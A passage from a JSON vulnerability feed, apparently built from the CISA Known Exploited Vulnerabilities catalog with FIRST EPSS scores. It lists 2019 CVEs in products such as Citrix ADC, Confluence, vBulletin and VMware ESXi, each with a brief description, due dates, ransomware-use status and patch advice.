RV325 Dual Gigabit WAN VPN Routers contain improper access controls for URLs. Exploitation could allow an attacker to download the router configuration or detailed diagnostic information.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Small Business RV320 and RV325 Routers","stacks":["Cisco","Small Business RV320 and RV325 Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99876,"percentile":0.99963,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-1653&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-1653","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-1653 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-1653&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-1653, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-16759","cveId":"CVE-2019-16759","aliases":[],"kind":"vulnerability","title":"vBulletin PHP Module Remote Code Execution Vulnerability","summary":"The PHP module within vBulletin contains an unspecified vulnerability that allows for remote code execution via the widgetConfig[code] parameter in an ajax/render/widget_php routestring request.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"vBulletin","product":"vBulletin","stacks":["vBulletin"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99728,"percentile":0.99953,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-16759&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-16759","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-16759 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-16759&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-16759, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-17026","cveId":"CVE-2019-17026","aliases":[],"kind":"vulnerability","title":"Mozilla Firefox And Thunderbird Type Confusion Vulnerability","summary":"Mozilla Firefox and Thunderbird contain a type confusion vulnerability due to incorrect alias information in the IonMonkey JIT compiler when setting array elements.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Mozilla","product":"Firefox and Thunderbird","stacks":["Mozilla Firefox and Thunderbird","Mozilla","Firefox and Thunderbird"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.46311,"percentile":0.98808,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-17026&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-17026","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-17026 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-17026&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-17026, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-17558","cveId":"CVE-2019-17558","aliases":[],"kind":"vulnerability","title":"Apache Solr VelocityResponseWriter Plug-In Remote Code Execution Vulnerability","summary":"The Apache Solr VelocityResponseWriter plug-in contains an unspecified vulnerability which can allow for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Solr","stacks":["Apache","Solr"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98567,"percentile":0.99922,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-17558&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-17558","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-17558 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-17558&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-17558, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-18187","cveId":"CVE-2019-18187","aliases":[],"kind":"vulnerability","title":"Trend Micro OfficeScan Directory Traversal Vulnerability","summary":"Trend Micro OfficeScan contains a directory traversal vulnerability by extracting files from a zip file to a specific folder on the OfficeScan server, leading to remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Trend Micro","product":"OfficeScan","stacks":["Trend Micro","OfficeScan"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.25125,"percentile":0.97915,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-18187&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-18187","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-18187 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-18187&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-18187, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-18935","cveId":"CVE-2019-18935","aliases":[],"kind":"vulnerability","title":"Progress Telerik UI for ASP.NET AJAX Deserialization of Untrusted Data Vulnerability","summary":"Progress Telerik UI for ASP.NET AJAX contains a deserialization of untrusted data vulnerability through RadAsyncUpload which leads to code execution on the server in the context of the w3wp.exe process.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Progress","product":"Telerik UI for ASP.NET AJAX","stacks":[".NET","Progress (MOVEit, Telerik, WS_FTP)","Progress","Telerik UI for ASP.NET AJAX"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99737,"percentile":0.99953,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-18935&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-18935","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-18935 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-18935&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-18935, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-18988","cveId":"CVE-2019-18988","aliases":[],"kind":"vulnerability","title":"TeamViewer Desktop Bypass Remote Login Vulnerability","summary":"TeamViewer Desktop allows for bypass of remote-login access control because the same AES key is used for different customers' installations. If an attacker were to know this key, they could decrypt protected information stored in registry or configuration files or decryption of the Unattended Access password to the system (which allows for remote login to the system).","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"TeamViewer","product":"Desktop","stacks":["TeamViewer","Desktop"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04707,"percentile":0.91749,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-18988&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-18988","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-18988 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-18988&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-18988, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-19356","cveId":"CVE-2019-19356","aliases":[],"kind":"vulnerability","title":"Netis WF2419 Devices Remote Code Execution Vulnerability","summary":"Netis WF2419 devices contains an unspecified vulnerability that allows an attacker to perform remote code execution as root through the router's web management page.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Netis","product":"WF2419 Devices","stacks":["Netis","WF2419 Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.28075,"percentile":0.98094,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-19356&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-19356","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-19356 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-19356&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-19356, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-19781","cveId":"CVE-2019-19781","aliases":[],"kind":"vulnerability","title":"Citrix ADC, Gateway, and SD-WAN WANOP Appliance Code Execution Vulnerability","summary":"Citrix ADC, Citrix Gateway, and multiple Citrix SD-WAN WANOP appliance models contain an unspecified vulnerability that could allow an unauthenticated attacker to perform code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Citrix","product":"Application Delivery Controller (ADC), Gateway, and SD-WAN WANOP Appliance","stacks":["Citrix NetScaler","Citrix","Application Delivery Controller (ADC), Gateway, and SD-WAN WANOP Appliance"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99998,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-19781&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-19781","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-19781 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-19781&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-19781, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-20085","cveId":"CVE-2019-20085","aliases":[],"kind":"vulnerability","title":"TVT NVMS-1000 Directory Traversal Vulnerability","summary":"TVT devices utilizing NVMS-1000 software contain a directory traversal vulnerability via GET /.. requests.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"TVT","product":"NVMS-1000","stacks":["TVT","NVMS-1000"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.96071,"percentile":0.99876,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-20085&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-20085","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-20085 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-20085&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-20085, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-2215","cveId":"CVE-2019-2215","aliases":[],"kind":"vulnerability","title":"Android Kernel Use-After-Free Vulnerability","summary":"Android Kernel contains a use-after-free vulnerability in binder.c that allows for privilege escalation from an application to the Linux Kernel. This vulnerability was observed chained with CVE-2020-0041 and CVE-2020-0069 under exploit chain \"AbstractEmu.\"","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Android","product":"Android Kernel","stacks":["Android","Android Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.72105,"percentile":0.99427,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-2215&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-2215","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-2215 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-2215&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-2215, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-3396","cveId":"CVE-2019-3396","aliases":[],"kind":"vulnerability","title":"Atlassian Confluence Server and Data Center Server-Side Template Injection Vulnerability","summary":"Atlassian Confluence Server and Data Center contain a server-side template injection vulnerability that may allow an attacker to achieve path traversal and remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Atlassian","product":"Confluence Server and Data Server","stacks":["Atlassian","Confluence Server and Data Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99913,"percentile":0.99968,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-3396&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-3396","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-3396 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-3396&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-3396, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-3398","cveId":"CVE-2019-3398","aliases":[],"kind":"vulnerability","title":"Atlassian Confluence Server and Data Center Path Traversal Vulnerability","summary":"Atlassian Confluence Server and Data Center contain a path traversal vulnerability in the downloadallattachments resource that may allow a privileged, remote attacker to write files. Exploitation can lead to remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Atlassian","product":"Confluence Server and Data Center","stacks":["Atlassian","Confluence Server and Data Center"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97028,"percentile":0.9989,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-3398&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-3398","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-3398 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-3398&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-3398, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-4716","cveId":"CVE-2019-4716","aliases":[],"kind":"vulnerability","title":"IBM Planning Analytics Remote Code Execution Vulnerability","summary":"IBM Planning Analytics is vulnerable to a configuration overwrite that allows an unauthenticated user to login as \"admin\", and then execute code as root or SYSTEM via TM1 scripting.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"IBM","product":"Planning Analytics","stacks":["IBM","Planning Analytics"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.86441,"percentile":0.99733,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-4716&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-4716","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-4716 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-4716&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-4716, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-5544","cveId":"CVE-2019-5544","aliases":[],"kind":"vulnerability","title":"VMware ESXi and Horizon DaaS OpenSLP Heap-Based Buffer Overflow Vulnerability","summary":"VMware ESXi and Horizon Desktop as a Service (DaaS) OpenSLP contains a heap-based buffer overflow vulnerability that allows an attacker with network access to port 427 to overwrite the heap of the OpenSLP service to perform remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"VMware","product":"VMware ESXi and Horizon DaaS","stacks":["VMware","VMware ESXi and Horizon DaaS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98129,"percentile":0.99912,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-5544&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI 